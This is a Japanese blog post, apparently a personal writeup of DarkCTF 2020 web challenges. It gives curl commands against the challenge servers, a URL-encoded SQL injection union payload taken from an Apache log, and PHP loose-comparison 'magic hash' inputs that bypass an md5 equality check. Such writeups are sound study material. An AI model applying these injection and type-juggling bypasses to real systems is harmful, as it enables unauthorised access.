Midnight Monologues

日々勉強したことを書いてきます

DarkCTF - Writeup

金, 25 9月 2020, 03:00 UTC — 日, 27 9月 2020, 03:00 UTCに開催されたDarkCTF に個人で参加した。 チームが他のCTF大会に参加していたため、当該大会の問題に挑戦しながら気晴らしに取り組んだ。 簡単な問題しか解けてないが、以下にWriteupを記載する。

Web

Web/Source

Mr.Ghost
 
Don't know source is helpful or not !!
http://web.darkarmy.xyz

添付されたソースファイルを確認する。

<html>
    <head>
        <title>SOURCE</title>
        <style>
            #main {
    height: 100vh;
}
        </style>
    </head>
    <body><center>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');
          } else {
                 echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ohhhhh!!! Very Close  </p></div>');
          }
      } else {
             echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Nice!!! Near But Far</p></div>');
      }
} else {
    echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>
</center>
<!-- Source is helpful -->
    </body>
</html>

以下の箇所よりUser-Agentに4文字未満の数字で10000以上の数をセットすればflagが表示される。

$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');

指数表現を使ってUser-Agentに値を設定するとflagが表示される。

kali@kali:~/Desktop$ curl -A "1e9" http://web.darkarmy.xyz/
<html>
    <head>
        <title>SOURCE</title>
        <style>
            #main {
    height: 100vh;
}
        </style>
    </head>
    <body><center>
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center>
<!-- Source is helpful -->
    </body>
</html>
darkCTF{changeing_http_user_agent_is_easy}

Web/Apache Logs

cyb3rz0n3

Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.
flag format: DarkCTF{}

添付のApache HTTP Serverのログを確認する。
SQLインジェクションで攻撃を受けたログが記載されている。
(ログをみていると作問にOWASPのmutillidaeを使用していることが分かる。)

192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"

上記の部分のURLエンコードを解読→10進数を文字に変更するとflagが表示される。

DarkCTF{5ql_1nj3ct10n}

Web/Simple_SQL

Mr.Ghost

Try to find username and password  
[Link](http://simplesql.darkarmy.xyz/)

指定されたURLへアクセスすると<!-- Try id as parameter -->のヒントがある。

kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/
<!DOCTYPE html>
<html>
<head>
<title>Simple SQL</title>
<style>
 
</style>
</head>

<body bgcolor=black>
<center><font color=red class=title>Welcome Players To My Safe House </font></center> <br>


<br><!-- Try id as parameter  --> 
</body>
</html>

?id=0で順にアクセスするとメッセージが表示される。
?id=9でflagが表示される。

kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/?id=9
<!DOCTYPE html>
<html>
<head>
<title>Simple SQL</title>
<style>
 
</style>
</head>

<body bgcolor=black>
<center><font color=red class=title>Welcome Players To My Safe House </font></center> <br>


<font size="5" color="green">Username : flag Password : darkCTF{it_is_very_easy_to_find}<br></font>
</body>
darkCTF{it_is_very_easy_to_find}

Web/So_Simple

Mr.Ghost

"Try Harder" may be You get flag manually

Try id as parameter

http://web.darkarmy.xyz:30001

問題文からidパラメータを指定してGET処理を投げるとUserとPasswordが表示される。
http://web.darkarmy.xyz:30001/?id=1

kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=1
<!DOCTYPE html>
<head>
<title>WEB!!!</title>
</head>

<body>
<font color=red>Welcome Players To My Safe House <br>
<font size="3">
<center>
<img src="hacker.png" width="200" height="200" />
</center>

<font size='5' color= '#05ff1a'>Your Login name:LOL<br>Your Password:Try </font></font> </div>
</body>
</html>

idパラメータにSQLインジェクション脆弱性があり、調べるとidパラメータの56465219にflagが記載されている。

kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=56465219
<!DOCTYPE html>
<head>
<title>WEB!!!</title>
</head>

<body>
<font color=red>Welcome Players To My Safe House <br>
<font size="3">
<center>
<img src="hacker.png" width="200" height="200" />
</center>

<font size='5' color= '#05ff1a'>Your Login name:flag<br>Your Password:darkCTF{uniqu3_ide4_t0_find_fl4g}</font></font> </div>
</body>
</html>

Web/PHP İnformation

SaltanatNaibi

Let's test your php knowledge.

Flag Format: DarkCTF{}

http://php.darkarmy.xyz:7001

指定したURLへアクセスすると以下のPHPソースが表示される。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Corona Web</title>
</head>
<body>
    

    <style>
        body{
            background-color: whitesmoke
        }
    </style>
<?php

include "flag.php";

echo show_source("index.php");


if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['darkctf'])){
        $darkctf = $res['darkctf'];
    }
}

if ($darkctf === "2020"){
    echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>";
}

if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){
    echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>";
}


if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['ctf2020'])){
        $ctf2020 = $res['ctf2020'];
    }
    if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){
        echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>";
                
        }
    }



    if (isset($_GET['karma']) and isset($_GET['2020'])) {
        if ($_GET['karma'] != $_GET['2020'])
        if (md5($_GET['karma']) == md5($_GET['2020']))
            echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>";
        else
            echo "<h1 style='color: chartreuse;'>Wrong</h1></br>";
    }



?>
</body>
</html> 

1つ目のflag:?darkctf=2020を指定する。
2つ目のflag:User-Agentに"MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ=="をデコードしたものを指定する。

kali@kali:~/Desktop$ echo -n "MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==" | base64 -d
2020_the_best_year_coronak

3つ目のflag:?ctf2020=ZGFya2N0Zi0yMDIwLXdlYg==をbase64エンコードした値

kali@kali:~/Desktop$ echo -n "ZGFya2N0Zi0yMDIwLXdlYg==" | base64
WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09

4つ目のflag:?karmaと?2020に値としては異なるが、md5ハッシュ化した際に緩やかな比較で一致する値を指定する。
Googleで調べると緩やかな一致にて0eで始まる値は0として扱われるためイコールになる。 ?karma=240610708、?2020=QNKCDZOとした場合、以下は一致する。
md5('240610708') → 0e462097431906509019562988736854
md5('QNKCDZO') → 0e830400451993494058024219903391

従って以下URLへアクセスするとflagが表示される。

kali@kali:~/Desktop$ curl -A "2020_the_best_year_corona" "http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=240610708&2020=QNKCDZO"
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Corona Web</title>
</head>
<body>
    

    <style>
        body{
            background-color: whitesmoke
        }
    </style>

  <中略>

Flag : DarkCTF{</h1></br><h1 style='color: chartreuse;'>Flag : very_</h1></br><h1 style='color: chartreuse;'>Flag : nice</h1></br><h1 style='color: chartreuse;'>Flag : _web_challenge_dark_ctf}</h1></br></body>
</html>
DarkCTF{very_nice_web_challenge_dark_ctf}

解きたかった問題

・Web/Agent-U (Web)
・Web/Dusty Notes (Web)
・Web/Chain Race (Web)
・Web/File Reader (Web)
・Web/Safe House (Web)

感想

・忙しくて色々なことが滞りがち。10月はCodeblue2020とSECCON 2020があるので挑戦したい。